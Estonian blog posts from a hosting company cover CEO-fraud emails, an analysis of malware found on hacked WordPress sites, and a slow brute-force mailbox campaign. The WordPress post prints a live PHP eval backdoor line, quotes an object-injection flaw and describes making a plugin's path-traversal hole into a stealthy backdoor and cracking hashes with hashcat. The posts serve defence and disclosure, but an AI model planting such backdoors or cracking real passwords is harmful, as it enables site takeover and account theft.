Vaata, kuidas kelmidel CEO-pettus nihu läks!

Oleme juba kaks nädalat oodanud oma postkastidesse kirja, kus Martti või Ardi palub kiiremas korras ühe väikse välisülekande teha. Miks meie kliendid saavad neid kirju, aga meie mitte?

Nagu ma “Kas saaksid kiiresti ühe maksekorralduse teha?” postituses selgitasin, on selle skeemi taga tõenäoliselt veebiskanner, mis tuvastab ettevõtte juhi nime ja paneb raamatupidaja või üld-aadressile teele võltsitud saatja-aadressiga kirja. Kui kirjale vastata, saadetakse info makse saaja kohta ning vajadusel mõeldakse välja mingi põhjus miks on kiire ja asjakohast arvet saata ei saa.

Meie saime täna aga sellise kirja:

Üle kontori kõlas kooris “Alex, who the heck is Alex?” … kuniks Ardi taipas, miks see nimi kangesti tuttav tundub: kui googeldada zone manager alexander mitter on esimene vaste paari-aasta-tagune uudis “veebi suitsuanduri” Nimbusec’i lisamisest Zone+ alla. Ja sealt leiab tsitaadi:

Cumulo’s partner relations development manager Alexander Mitter described Nimbusec’s mission: “Cyber attacks are not only aimed at high profile targets anymore, it is a phenomenon that targets the whole society. The mission of Nimbusec is to stay a step ahead of the criminals, watch over our clients websites and alert them when problems arise. This way we help our customers avoid financial and reputation loss. […]

Rrrright, Alex on meil ju igapäevaselt olemas Skype-chatis, kus me Nimbusec’i tehnilist tiimi vale-positiivsetest ja vale-negatiivsetest pahavara-leidudest teavitame.

Mu algne oletus oli, et veebist leitakse firma kontakti-leht ning sealt tuvastatakse manager / CEO vms oluline panjandrum – aga paistab, et nad on suutelised leidma täiesti suvalistest tekstides juhi-rollile viitava sõna kõrvalt nimesid ning nende nimel info@ aadressile kirjutama. Meie saime sama kirja ka arve@zone aadressile.

Moraal?

  • tõepoolest, me räägime Zone veebis teenustest, tehtust, tehnopoliitikast ja küberturvast – aga “who the heck is zone?” on >80% osas katmata ja robotil polnud absoluutselt mingit võimalust tuvastada kes on CEO, kes konduktor või kes büroo-assistent (samas ma ise alati heameelega tutvun enne ostu ettevõtte taustaga)
  • jah, selle kelmuse taga on üsna juhm veebiskanner ning kellelgi pole vaja karta, et tema postkasti-parool vms mitte-avalikud andmed oleks lekkinud
  • võtame asja rahulikult, sest kuniks me ei teosta ülekandeid ilma korrektselt vormistatud ja asjakohaselt aktsepteeritud raamatupidamise algdokumendita (laiemalt tuntud kui “arve”) puudub ka risk kelmuse ohvriks langeda

Kas saaksid kiiresti ühe maksekorralduse teha?

Umbes sellise küsimusega hakkab pihta enamus CEO-kelmuse kirjavahetustest – ja viimastel päevadel on nende hulk järsult kasvanud. Suvi, firmades on osa inimesi puhkamas ning suhtlevad teistega äärmise vajaduse korral lühikeste, mobla-ekraanilt tipitud sõnumitega.

Kontorisse jäänutel on aga puhkajate asendamistega käed-jalad tööd täis ning olukord natuke uus ja ilma sisse harjunud käitumisreegliteta.

Näiteks võiks reedel, napilt enne lõunapausi, assistent Anne postkasti saabuda selline kiri tegevjuht Tiiult:

Ääremärkus: see ja järgmised kirjad on pärit ühe meie turvateadliku kliendi suhtlusest päris kelmidega. Nimed ja aadressid muudetud, fiktiivse firma nimi pärit ühest sotsmeedia-eksperimendist. Igaks juhuks ka tavakohane hoiatus “don’t try that at home work” – vaevalt, et neil sind maksma petta õnnestub… aga äkki võtab keegi trollimist südamesse ja leiab mõne turvaprobleemi mille ärakasutamise-katseks sa veel valmis pole.

Raamatupidaja on puhkusel, aga lõunalt naasnud Anne ülesandeks on kontor iga ilmaga toimivana hoida ja Tiiu saab peagi täpsustava küsimuse:

Viis minutit hiljem tuleb talt vastus:

Samuel on ilmselt rahamuul, kes on “töökuulutuse” peale olnud nõus oma kontole saabuvast rahast 90% sulas välja võtma ja Western Union’i kaudu edasi saatma.

Anne jääb hetkeks kirja uurima – aga peagi on postkastis järgmine kiri Tiiult, kellel ilmselt on maksega kiire:

Mistahes kelmuse puhul on oluline sundida ohver enne tegutsema ja alles siis mõtlema. “Ja-jaa, juba jooksen,” ohkab Anne – aga ta ei saa ju niisama maksta, sest raamatupidaja peaks selle kuidagi algdokumendiga kokku viima:

Ja saab vastuseks:

Nagu näha, sai Google Translate jälle natuke tööd teha ning kellegi nobedad näpud kopeerisid vastused Outlook’i.

Järgmine kord ei pruugi aga pettus nii kergesti märgatav olla, sest suhtluse kulg on üsnagi etteaimatav ja pole keeruline paarkümmend tüüpvastust inimtõlgilt tellida. Tegemist on ikkagi levinud kelmuseliigiga ja küllap leiab selle läbiviimiseks asjakohastest veebidest nii õpetusi kui ka tekstinäiteid. Brian Krebs’il on hea lugu veidi erinevast pettuseliigi ehk “vene kohtinguteenusest” toimimisest.

Jätame aga Tiiu ja Anne omavahel suhtlema ning vaatame…

Kuidas selline kelmus töötab?

Keerulisemate CEO-kelmuste puhul on tegemist ühe osapoole e-postikonto ülevõtmise ning päris arve võltsimisega. Sellist näidet kirjeldab Andris postituses Tõestisündinud lugu e-posti võltsimise tõttu kaotatud rahast ja ühte banaalselt lihtsat postikontosse sissemurdmist lahkas Ardi loos “Paha Panda” varastab postkaste.

Sedapuhku pole aga tegemist konkreetse firma vastu suunatud kuluka harpuunimisega ning Tiiu ja Anne kontaktid leiti pigem firma kodulehelt:

Veebifragment kelmidega kirjavahetust arendanud firma kodulehelt, pildid “Anna Malvara” loo juurest. Olgu lisatud, et mõlemad on 100% sünteetilised ehk 3D-renderdatud – Tiiu on pärit Renderpeople galeriist ja Anne leidsin üles ühest 3ds Max’i õpetusest.

Robotid skannivad tuhandete firmade veebe, korjates kokku e-posti-aadressid ning nendega seotud nimed ja rollid. Keegi hoolas inimene puhastab andmed ja müüb need kena Exceli-tabelina ahela järgmisele lülile maha – hinnajärk ilmselt sent per firma.

Ja see järgmine lüli saadab laiali spämmi, kus saatja real on kenasti From: Tiiu Kask <tiiu@malvara.ee>, kiri on saadetud mõne pahaaimamatu firma serverist (Return-Path: <vd@somehackedwebsite.com>) ja Outlook’i vms e-postikliendi puhul vastamisel kasutatav Reply-To aadress viitab kolmandale, samuti kelmi kontrolli all olevale serverile, kus kasutajanimest sõltumatult jõuavad kõik kirjad “operaatori” postkasti (Reply-To: "Tiiu Kask" <tiiu@vd-scammersdomain.org>):

Anne saab kogu suhtluse käigus kirju, kus saatjaks oleks justnagu õige Tiiu – aga tehes Reply läheb vastus vale-Tiiule.

Kuidas ennast selliste pettuste eest kaitsta?

Ma heameelega räägiks siinkohal vajadusest lisada oma domeenile SPF-kirje, mis võimaldab postiserveritel kontrollida, et malvara.ee kirju tohib saata ainult see üks ja õige server (loe: 3 tehnoloogiat, mis aitavad kirjad kindlalt kohale toimetada ja Kuidas kontrollida väljuva e-posti SPF+DKIM+DMARC toimimist?)… aga kuigi see on 100% mõistlik liigutus, peitub tegelik võti ikka meie endi peas – valmisolekus kelmust ära tunda ja kokkulepitud käitumisreeglites:

  • tea, et kiirusele rõhumine on sageli märk soovist sind tavapärasest erinevalt käituma panna ja e-posti on lihtne võltsida
  • vähimagi kahtluse korral kontrolli saatja tegelik soov üle, kasutades selleks alternatiivset sideviisi (loe: helista sulle teadaolevale, mitte kirjas toodud numbrile) või kasuta vastamise (Reply-To) asemel edastamist (Forward) sisestades teise osapoole aadress ise To-lahtrisse
  • sellise kelmuse ohvriks sattujad ei ole rumalad või hooletud – teine pool on suhtluse üles ehitanud lähtudes väga heast inimpsühholoogia tundmisest ning iga sammu läbi mõelnud, praktiseerides sellist tegevust “üheksast viieni” ehk põhitööna

Tänud kõigile, kes on võtnud vaevaks meile kirjanäidiseid saata ning eriti uudishimulikule “Annele”, kes tahtis teada mis toimub peeglitaguses maailmas 🙂

Pöördlammutamine ehk pihtas-põhjas, nett on hukas

“Midagi võiks ära lammutada,” selgitas Birgy Lorenz, kui mult Küberolümpia ehk European Cyber Security Challenge 2017 eelvooru seminari jaoks ettekannet küsis.

Kuna täiesti juhuslikult oli minul samal ajal plaanis Muhu Väina regatil purjekat ja/või Riia linna lammutada, siis kasutasin võimalust ning vormistasin oma demod 13,5-minutiliseks videoks.

Sihtgrupist lähtuvalt on see pöördlammutamine “veidike” tehnilisevõitu, aga kindlasti õpetlik vaatamine kõigile veebirakendustega (eriti WordPressiga) tegelejatele. Pikem taustaselgitus allpool, sobib lugeda nii enne kui ka pärast video vaatamist.

Pöördlammutamine?

Lammutamise all mõtles Birgy seda, et võiks võtta ette mõne turvaprobleemidega süsteemi ja näidata, kuidas ühest väiksest august sisse pääsenuna õnnestub ka kõik muu üle võtta. Kuna ise endale ründeks probleemset veebi ette valmistades tekib alati selline… lati alt läbi mineku tunne, otsustasin sedapuhku veidi keerulisema tee kasuks. Võtsin ette 5 viimasel ajal maha häkitud WordPressi, mille puhastamiseks kliendid Zone klienditoe tehnikute abi on kasutanud ja seadsin endale järgmised ülesanded:

  • tuvastada kogu veebis olev pahavara (sellest ka “pöördlammutamine”)
  • lisada leitu ühele tühjale ja anonüümsele WordPressile
  • testida levinud pahavara-skännereid ja määrata nende efektiivsus
  • selgitada välja tõenäoline sissehäkkimise viis
  • rääkida tulemus lahti videos, mis on lühem kui 10 minutit

Viimane punkt läks veidi lappama, sest õpetlikke näiteid kogunes kahjuks rohkem kui 10 minuti sisse mahtus.

Eriti räpane WordPress

Eksperimendi üheks ajendiks oli ka maikuus FB WordPress Eesti grupis toimunud arutelu WP turvapluginate ja skannerite efektiivsuse teemal. Kuna mu eelmise aasta pahavara-näidiste komplekti olid erinevad teenused hakanud üsna kergesti ära tundma, kasutasin vabu hetki jõudmaks puhastamist vajavatele veebidele jaole enne tehnikute tööleasumist, kogusin tõendusmaterjali rünnete kohta ning tegin läbi lihtsustatud versiooni meie puhastus-protsessist: vahetasin välja WP ja kõik pluginad-teemad, seejärel lasin versioonihaldusel kuvada erinevusi ehk muudetud või lisatud faile.

Huvitavad näited – nakatatud ja pahavaralised pluginad, WP kataloogidesse ja koodi sokutatud tagauksed, kataloogitäied SEO-spämmi jms – tõstsin üle puhtasse WordPressi, pannes kõik probleemid kenasti tabelisse kirja.

Kas ma seda WordPress’i jagan kah? Kui on huvitav kasutusplaan ja usaldusväärne küsija, siis kaalun plusse ja miinuseid.

Tööriistad

Käsitsi oleks seda kõike nüri teha – eriti mitme veebi puhul. Minu tavapärane tööriistakohver näeb välja selline:

WPScan – käsurealt käivitatav utiliit, mis kasutab wpvulndb.com andmebaasi ja proovib leida WP enda ja pluginate-teemade teadaolevaid haavatavusi. Kohati annab see aimu võimalikust ründevektorist – nt mõni plugin, mis lubab path traversal’it ehk kuvada failide sisu, sh wp-config.php, kus on kirjas andmebaasi kasutajatunnused. Paraku ei saa WPScan alati täpselt pihta plugina versioonile, tekitades ohtralt lärmi valepositiivsete leidude näol. Ja samas oleme me kohanud saite pluginatega, mis ei ole kirjas üheski andmebaasis ja veelgi enam – haavatav versioon on endiselt WP plugina-saidist allalaetav.

Minu enda ctimer.php (mille leiab koos selgitustega blogipostist CSI küber – kas keegi on mu serveris faile muutnud?) – kuna ctime aeg läheb kirja kerneli õigustes, siis võib seda usaldada, erinevalt tavaliselt kuvatavast ja igaühe poolt muudetavast mtime ajast. Sortides faile ctime järgi hakkab sageli silma värskeim kahtlasel moel muudetud fail, mille asukoht võib reeta probleemse plugina või hoopis selle, et sissetung on toimunud adminnkasutaja parooli äraarvamise ja WP enda teema/pluginaeditori kaasabil. Või siis vähemalt on teada, millisest ajajärgust tuleks logisid uurima hakata.

Logid, grep ja less – sellest, kuidas logisid uurida, tuleks teha täiesti eraldi postitus. Arvestades nende suurust peaks käsurealt greppimine ja tulemuses ringi navigeerimine olema igal veebimeistril samamoodi käpas nagu HTML, CSS, Gulp, Bower jne. Sedapuhku tekkis paari saidi puhul justnimelt logisid vaadates mõte, et probleemiks on nõrk parool – sest teemafaile oli muudetud kohe pärast loginit.

hashcat – jõhker overkill kontrollimaks paroolide tugevust räside brute force’imise meetodil. Aga mingi tööriistaga pidi seda tegema ja ka maailma väikseim sõnastik, kus sisalduvad ainult kasutajanimed, saidinimi ja paar levinumat nõrka parooli on sõnastik. Minul oli lisaks reegel, mis proovis panna kasutajanime lõppu numbreid 1-9 ja lähemaid aastaarve.

Minu enda WP-CLI-põhine shellscript clinup – võimaldab ühe käsuga teha liigutusi nagu WP, pluginate ja teemade vahetamine sama (või värskeima) versiooni koodi vastu tehes iga sammu järel git commit, PHP otsimine uploads-kaustast, .htaccess abil elementaarsete piirangute kehtestamine ja palju muud huvitavat.

Õpetlikud näited

WPscan abil leiab pahalaste poolt ülevõetud veebidest sageli uuendamata ja teadaoleva turvaaugu pluginaid koos selle ärakasutamise õpetusega. Heal juhul selgub sellest kohe ka ülevõtmise meetod ehk lappimist vajav probleem.

Tavapärane ründaja töötab mõistagi täpselt vastupidi, ehk skannib kõiki ettesattuvaid veebe proovides leida nõrkusi, mille jaoks on tema tööriistakohvrikeses rünne juba olemas.

Kataloogihüpe

Enamasti pakub ründajatele huvi võimalus faile üles laadida, aga oluliselt levinum turvaprobleem on path traversal ehk kataloogihüpe – seda kasutatakse ära nägemaks wp-config.php’st andmebaasi kasutajatunnuseid.

Videos demongi ühte sellist probleemi kasutades Font plugina versiooni 7.5, mis ühes nakatunud veebis kasutusel oli:

Tähelepanelik vaataja märkab siinkohal kindlasti, et selle kirjelduses on mainitud ka “authenticated” ehk siis probleemi ärakasutamine eeldab sisseloginud kasutajat. See ei pea aga üldsegi tähendama admin-kasutajat. Kuna tolles veebis oli paigaldatud ka WooCommerce, siis oli täiesti võimalik regada endale kliendi-konto ning olles sellega sisse loginud, teha vastav pöördumine, sest ei kontrollita admin-õigust, vaid lihtsalt sisselogimist:

Olgu öeldud, et üks kahtlasevõitu epostiga kasutaja oli seal veebis ka olemas. Paraku märkasin seda alles pärast salvestamist, seega jõuan video lõpus veidi teistsugusele ja oluliselt lihtsamat ligipääsu võimaldavale järeldusele.

Aga üks näide käib selle plugina juurde veel: kui teha koodis vaevumärgatav muutus ehk eemaldada ülaloleval ekraanilasul valitud nopriv_, siis kaob vajadus sisselogimise järele. Kui muuta lisaks plugina versioon värskeimaks olemasolevaks, siis on mul veebis ideaalne tagauks: see ei näi põgusal vaatlemisel kahtlane ning veebimeister võib WordPress’is pluginaid uuendada ja andmebaasi-paroole vahetada palju tahab.

Tõsi – on üks väike nipp, mis sellise probleemi vastu aitab: kui kasutada uuendamiseks WP-CLI käsurea-utiliiti, siis saab anda kaasa parameetri --force, mis tagab ka olemasolevate pluginate re-installi (juhul, kui need kasutavad standardset uuendusprotsessi st ei ole käsitsi kusagilt paigaldatud). Ja kui ükshaaval ei viitsi uuendada, siis võib küsida nimistu ja lasta tsükliga:

wp plugin install $(wp plugin list --field=name) --force

Ja seejärel võib vaadata, et mis kataloogid jäid viimase 15min jooksul vahetamata ning need käsitsi üle käia:

find wp-content/plugins -maxdepth 1 -type d -mmin +15 -exec basename {} \;

Videos teen ma sama oma veidi keerukama clinup skriptiga, mis oskab vahetada hetkel kasutusel oleva versiooni vastu ja ühtlasi iga sammu vahel git commit teha, kuvades mugavalt kõik muutused:

Teepaljang

Tunnistan, et olen ka ise full path disclosure ehk teepaljangule liiga vähe tähelepanu pööranud. Kui veebis on äraarvatavas asukohas viga andev PHP-fail, siis kuvab veateade vaikimisi välja faili asukoha kettal:

Kuna mul esimesel katsel tavapärane kataloogipuus ülespoole liikumine ehk ../../../wp-config.php tulemust ei andnud – ilmselt tegin miski kirjavea – leidsin äraarvatavast asukohast ehk teemakataloogist hõlpsalt faili, mis reetis veebiserveri juurkataloogi.

Hea oleks vigade väljastamine juba php.ini’s ära keelata – meie puhul sobib selleks phpini/global/php.ini fail (ülejäänud on automaatselt genereeritud ja neid kasutaja muuta ei saa):

[PHP]

display_errors = Off

… aga siis tuleks meeles pidada, et nii on tehtud ja edaspidi vigu ikka logidest otsida ja mitte helistada klienditoele teatega “mu veeb kuvab valget lehte”.

Ääremärkus – juba mõnda aega leiavad PHP 7 kasutajad logs kataloogist ka viimaste päevade PHP-vealogid ning sümbollingi käsiloleva päeva logile.

Jagatud serveri needus: jagatud andmebaasiserver

Ja mis nende andmebaasi-paroolidega pihta hakata? Jagatud serveri puhul on jagatud ka andmebaasiserver ja PHPmyadmin vms lihtne haldusvahend… ning sealtkaudu saab endale adminn-kasutaja lisada või mõne olemasoleva parooliräsi korraks ära muuta. Zupsti sisse-välja… ja tehtud. Valus hakkab pärastpoole.

Selle vastu väga head lahendust ei ole. Võiks ju keelata PHPmyadmin’i kasutamise, aga teisest samas serveris olevast ülevõetud veebist saab ikka ligi, sest IP millega ligipääsu saab piirata on sama. Eriti paranoilised isikud – nagu mina – võivad muidugi salvestada paroolid Apache direktiivide abil keskkonnamuutujatesse ja siis neid kasutada:

Ja wp-config.php-s:

define( 'DB_NAME', $_ENV['DB_NAME'] );
define( 'DB_USER', $_ENV['DB_USER'] );
define( 'DB_PASSWORD', $_ENV['DB_PASSWORD'] );
define( 'DB_HOST', $_ENV['DB_HOST'] );

(just-in-case kõik mu muud nipid veebi kaitsmiseks alt veavad)

Tavaline ja ebatavaline tagauks

Harilikult leiab veebist tagauksed ja pahavara koodi vaadates üsna kergesti üles – sest sealt paistavad eval(), system(), base64_decode() vms funktsioonide kõrvad:

Sedapuhku hakkas mulle aga silma ka haruldasem elukas – nimelt oli ühes failis selline rida:

echo preg_filter('|.*|e', $_REQUEST['oneman'], '');

PHP on selline tore keel, kus regex’is on olemas modifikaator e ehk PREG_REPLACE_EVAL , mis on varmalt valmis kõike leitut eval()’ima ehk kasutaja sisestatut käsuna täitma. See on eemaldatud PHP versioonis 7 – aga aastal 2012 loodud veebiserveris versiooni vahetamine on nõrkadele…

Misiganes põhjusel on parimad nimistud innovatiivsetest tagauksestatud koodinäidistest hiinakeelsetes veebides, ei hakka siinkohal linkima, aga googeldades “php callback backdoor”, siis peaks üht-teist välja ilmuma (saitide külastamine omal vastutusel).

Lisaks hakkas mulle FlickrPress plugina (tänaseks kataloogist eemaldatud) koodis täiesti juhuslikult silma rida:

 $something = unserialize(@base64_decode($_REQUEST[‘something’]));

See võimaldab PHP Object Injection ehk PHP objektisüsti haavatavuse ärakasutamist. Mugava proof-of-concept koodi – sest objektisüst eeldab ärakasutamiseks sobiliku objekti olemasolu – leiab Plugin Vulnerabilities blogipostitusest. Proovime järgi:

Tähelepanelik vaatleja kindlasti märkab, et ma olen teinud täiesti suvalise alamlehe pihta GET-päringu andes pluginas oleva turva-augu aktiveerimiseks vajalikud parameetrid kaasa küpsisena. See plugin loeb parameetreid $_REQUEST globaalmuutujast – mis ei ole hea praktika – ning sinna jooksevad seadistusest (variables_order ja request_order) sõltuvalt kokku $_GET ja $_POST parameetrid… ning $_COOKIE.

Ääremärkus: ajaloolistel põhjustel on ka meil Zones vaikimisi variables_order väärtuseks ‘EGPCS’. Kui me selle tihedamaks keeraks… läheks kellelgi midagi katki. Ilmselt peaks lisama võimaluse seda seadistada. Seniks võib phpini/global/php.ini faili panna lisaks ülalviidatud vigade väljastamise keelule ka rea request_order = 'GP'

Kuivõrd video tegemise seisuga polnud seda pluginat kirjas levinud haavatavuse-baasides ega fixitud, siis võib seda ilmselt zero-day’ks nimetada.

Autor sai vastutustundlikult teavitatud, oli juba enne teadlik … ja võttis selle tulemusel plugina (“Viimati uuendatud: 8 aastat tagasi”) ametlikust kataloogist üldse maha.

Ehk kõik, kellel see plugin kasutusel, on edaspidi endiselt haavatavad ja neil puudub ka adekvaatne viis ohust teada saada. Äärmiselt sobilik näide illustreerimaks “uuendamine ei pruugi olla lahendus” väidet.

Ääremärkus – raporteerides FlickrPress’i saatsin kordusteate ka ühe teise plugina turvaprobleemi kohta, mille vastu suunatud ründe avastasin juba pool aastat tagasi. Ma puhtalt huvi pärast ootan, et kaua läheb fiksimisega.

Pahavara tuvastamise tõenäosus

Kui me juba müütideni jõudsime, siis lammutaks ära veel ühe – “veebiserverist on võimalik asjakohase tööriistaga leida üles pahavara sisaldavad failid ning need siis ära kustutada või puhastada”. Veidi muudetud väide on samas tõene: “On võimalik leida pahavara sisaldavaid faile, kui neid on piisavalt palju ja need vastavad levinud mustritele.”

Leitava pahavara protsent sõltub tööriista võimekusest ja häälestuse tundlikkusest. Mina võtsin ette Zone+ all pakutava Nimbusec’i, Revisium’i tasuta tööriista AI-bolit tavalises ja “paranoia”-reziimis ning WP pluginad Quttera ja GotMLS. Kontrolliks võtsin testi ka Nod32 ja DrWeb antiviirused, aga nende tulemus on allpool igasugust arvestust (ning ClamAV leidis veel 2x vähem).

Teades kõiki muudetud faile (52 olulist näidet) oli lihtne teha andmebaasi-rakendus, kuhu saan lugeda sisse tuvastuste raporti ning tulemused tabelina kuvada:

Valepositiivsete protsent on arvestatud leidude suhtes, sest nii tundus loogilisem. Kasutaja jaoks annab “leitud 10 reaalset ohtu ja 5 valepositiivset” põhjal rehkendatud 50% ilmselt rohkem infot, kui protsent kõigist WP all olevatest failidest.

Järjekordselt oleme rahul oma valitud Nimbusec’iga – tuvastus on piisavalt hea tagamaks toimimise suitsuandurina ehk andmaks märku veebi tabanud probleemist, samas ei tekita tavakasutajas liigselt paanikat valepositiivsetega.

Aga isegi kõige paranoilisem AI-bolit skooris vaid 90% probleemsetest failidest – ehk maha tuleks matta (ja raske kiviga katta) lootus, et mingi skänni abil saab veebi puhtaks. Ainus lahendus on kõik mis võimalik ära asendada. Ja ülejäänu käsitsi üle käia või minema visata.

Ja lõpuks – kuidas siis ikkagi sisse saadi?

Viimase kahe näidispakki lisatud veebi puhul tundus mulle kahtlane, et probleemiks oli mõni plugin, pigem oli tuldud sisse admin-kasutajana ja faile muutes endale laiem ligipääs rajatud.

Hüpoteesi kontrolliks otsustasin “Paha Panda” meetodit ehk nõrkade paroolide äramõistatamist kasutada. Võtsin ette hashcat’i ning tekitasin sõnastiku enamlevinud paroolidest, uuritavates saitides olnud kasutajanimedest ja lisasin reegli, mis proovib esimest tähte suureks teha ja lõppu numbrit lisada.

Tulemuseks – mu läpakas ei jõudnud veel ventilaatorit käima panna, kui hashcat juba räsidele vastavad paroolid välja sülitas:

Esimene neist on täpselt reaalse saidi kasutajanimi ja parooliräsi (sedapalju siis soovitusest, et admin kasutaja asemel mõne teise nime kasutamine turvalisust tõstab – kasutajanimede kokkulugemine pole tead-mis keeruline), aga teise puhul on parool ohvri isiku kaitseks ära muudetud.

Pihtas-põhjas, nett on hukas…

ps. kui lugesid alustuseks teksti läbi – tubli! – siis ära unusta lisaks ka videot vaadata 🙂

“Paha Panda” varastab postkaste

Suurbritannia parlamenti tabanud küberrünnak, mis suunatud parlamendiliikmete e-poskastide vastu, ajendab jagama infot e-posti rünnakukampaania kohta, mis täna aktuaalne ka Eestis.

Ühel pealelõunal hakkasid Zone IT operatsioonide meeskonna ekraanil vilkuma alarmid. Infoturbeintsidente tuvastav monitooringusüsteem hakkas järjest välja sülitama teateid, et mõned e-posti kasutajad rikuvad teleportides teada olevaid füüsikaseadusi.

Teleportimine on fenomen, mille puhul internetikasutaja ühendub ühel hetkel meie serveriga Eestist, järgmisel Hiinast, siis omakorda Venemaalt, Malaisiast, Indoneesiast, Brasiiliast või mujalt. Kuigi eksisteerivad mõned erandid (Tor), viitab selline kontinentide vahel hüplemine enamasti siiski kasutajaandmete lekkimisele.

Lühikese aja jooksul tuvastas monitooringusüsteem seda anomaaliat ligi saja e-posti kasutaja juures, võimaliku kuriteo takistamiseks ning kahju minimaliseerimiseks hakkas algoritm blokeerima teleportivate kasutajate ligipääsu serveritele.

Kasutajaandmete lekkimise intsidendid ei ole harukordsed, selliseid intsidente leiab aset regulaarselt – enamasti on põhjuseks kasutajaandmete jalutama minek kahtlasest WiFi võrgust, tööjaama nakatumine pahavaraga või sama kasutajanime/salasõna tarvitamine mõnel hiljuti kompromiteeritud veebisaidil.

Mõjutatud kasutajate arv pani siiski meie infoturbe töörühmal vere vemmeldama. Kui korraga rikutakse niivõrd suure hulga kasutajate privaatsust, tuleb igaks juhuks välistada võimalus, et salasõnad on lekkinud meie süsteemist.

Analüüs

Seetõttu alustati koheselt tööd logide analüüsimise kallal ja võeti ühendust ka mõnede mõjutatud kasutajate või neid toetavate IT spetsialistidega, et selgitada välja võimaliku lekke asjaolud.

Hüpotees andmelekkest meie poolel õnneks kinnitust ei leidnud. Küll aga avastasime oma logisid analüüsides ühe üllatava fenomeni, mille eest teid nüüd hoiatada tahan.

Nimelt on aset on leidmas unikaalne kampaania üliaeglase jõuründe (slow rate brute force attack) näol, mille abil loodetakse rikkuda internetikasutajate e-posti privaatsust.

Jõurünnet teostatakse tavaliselt juhuslike stringide läbiproovimise teel või sõnastikuründe abil ning võimalikult suure efektiivsuse nimelt proovitakse lühikese aja jooksul läbi suur hulk erinevaid salasõna kandidaate. Jõuründe muudab ebaefektiivseks see, et seda on suhteliselt lihtne tuvastada.

See tegevus, mis meile logist vastu vaatas, oli teistsugune.

“Paha Panda”

Vältimaks tuvastamist, tegutseb konkreetset rünnakut teostav kurjategija meelega aeglaselt, metoodiliselt ja väga kannatlikult.

Protseduur, mida kasutaja andmete arvamiseks kasutati, oli iga sihtmärgi puhul sarnane.

Ühel heal päeval ilmub logisse 5-6 kurjategija võrgustikku kuuluvat IP aadressi, millest igaüks katsetab sihtmärgi peal mõnd salasõna kandidaati. Sellele katsele järgneb 2-3 tundi vaikust. Siis ilmub ründaja taas välja ja proovib järgmise 5-6 erineva IP pealt. Jälle 2-3 tundi vaikust ja uus katse. Selline õngitsemine võib kesta nädalaid.

Iga sihtmärgi kallal töötab kurjategija tilkuva vee järjepidevusega, mis kivisse auku uuristab.

Ja see järjepidevus viib mõnel juhul ka sihile. Mõnel juhul õnnestus see kurjategijal juba 6 katse pealt, teisel juhul kulus eduks poolteist kuni kaks tuhat katset. Ühe konkreetse sihtmärgi puhul kulutas kurjategija eesmärgini jõudmiseks 553 päringut, nendega alustati 3. mail ja eduka tulemuseni jõuti 14. mail. Seejuures sooritati need päringud 445 erineva IP pealt.

Selles ründe iseloomus peegeldub omal moel mingi aasialik stoiline rahu, mis kombinatsioonis paljude kurjategija botneti Hiina päritolu IP aadressidega on pannud mind teda “Pahaks Pandaks” kutsuma 🙂

“Panda” üheks relvaks on aeglus, millega petetakse ära monitooringusüsteemid. Kui üks IP aadress teeb iga 2-3 tunni tagant mõnele kontole ühe ebaõnnestunud sisselogimiskatse, ei jää see ühtegi monitooringusse kinni, sest selline paranoia tase muudaks valepositiivsete tuvastuste hulga liiga suureks. Isegi kuu lõikes uurides jäävad “Panda” kasutatavad IP aadressid kaugelt välja ebaõnnestunud autentimiskatseid sooritavate süsteemide esiviiekümnest.

Kindlasti on nii mõnelgi kogenud IT-spetsialistil siinkohal kulm juba kipras ja küsimus keelel – kuidas on võimalik salasõnu nii väheste arvamistega salasõna ära arvata? Vastus on lihtne – “Panda” teab, et energiat tuleb kokku hoida, seetõttu ei käi ta läbi juhuslikke salasõna kombinatsioone, vaid kasutab teise relvana kasutajate endi halbu käitumismustreid.

Inimesed on halvad juhuarvugeneraatorid. Kui paluda inimestel valida juhuslik arv 1-10 vahel, valib väidetavalt ebaproportsionaalne hulk neist numbri 7 (trollidega, nagu ülal näha, on sarnane lugu). Sama kordub salasõnade määramisel. Mõte juhuslikust tähtede, numbrite ja sümbolite jadast tuleb pähe vaid vähestele.

Paljud hakkavad otsima abi sellest, mis ekraanil, klaviatuuril või parajasti meelel. Nii muutub väga tõenäoliseks, et e-posti aadressi siim@domeen.tld looja määrab sellele salasõnaks kombinatsiooni nimest Siim ja mingist numbrite jadast. Salasõnade variatsioonid nagu “Siim123”, “Siim1234”, “Siim666”, “Siim2017” on levinumad, kui julgeme endale tunnistada. Sama levinud on ilmselt klaviatuurilt tuletatud salasõnade kombinatsioonid nagu “Qwe123”, “Asdasd123”, “Qwerty666” jne või aadressiribalt tuletatud “Zone123”, “Zone.ee123” jne.

Nii ei raiska meie antikangelasest kurjategija “Panda” ennast juhuslike stringide äraarvamisega või täiemahulise sõnastikuründega. Ta on valinud välja suure hulga väga levinud halbu salasõnade mustreid ja tiksutab tema sihtmärkide hulgas läbi proovida.

“Panda” sihtmärgid on esmapilgul täiesti suvalised, ilmselt on need saadud veebilehtede kaapimise teel ja muudest allmaailmale tuntud allikatest. Silma jääb siiski kontakt@, contact@ ja info@ aadresside suur osakaal.

Aadresside internetist kogumisele viitab seegi, et mitmed aadressid, mida sihtmärgina kaaluti, sisaldasid kirjavigu – näiteks otsiti ühe telekanali töötaja e-posti kontot domeenist, mis erines tema tööandja tegelikust domeenist vaid ühe märgi võrra.

Võimalik kahju

Mida kurja “Panda” nende lahti murtud postkastidega korda saata võib? Väga paljut.

Kui mäletate, siis eelmisel aastal kirjutas Andris populaarsest skeemist, milles e-posti abil ettevõtetele sokutatakse valearveid (“Tõestisündinud lugu e-posti võltsimise tõttu kaotatud rahast”). Eelnevalt kirjeldatud viisil lahti murtud raamatupidaja postkast on sellisele valearvetega skeemitajale kulla hinnaga.

Loomulikult on sellised postkastid ka võrratuteks relvadeks spämmeritele. Domeenid ja postkastid, mis pole kunagi rämpsposti saatnud ja mille väljuvad kirjad kannavad usaldusväärsuse nimel DKIM-i antud autentsustõendi ja SPF-i ning DMARC-i allikakinnitusega? Just sellise spämmiga kurjategija meie radarile sattuski.

Kui kurjategija sooviks, siis võiks ta loomulikult ka postkastis tuulata ja sealt väärtuslikumat sisu endale sebida. Näiteks võib ta panna kokku aadressiraamatu inimestest, kellega tihedalt suheldakse ja korraldada klassikalise “Olen välismaal lennujaamas, rahakott varastati ära, ole hea kanna mulle kiirelt paar sotti” kampaania. Samasuguse õngitsusrünnaku saaks korraldada ka postkastiomaniku enda vastu.

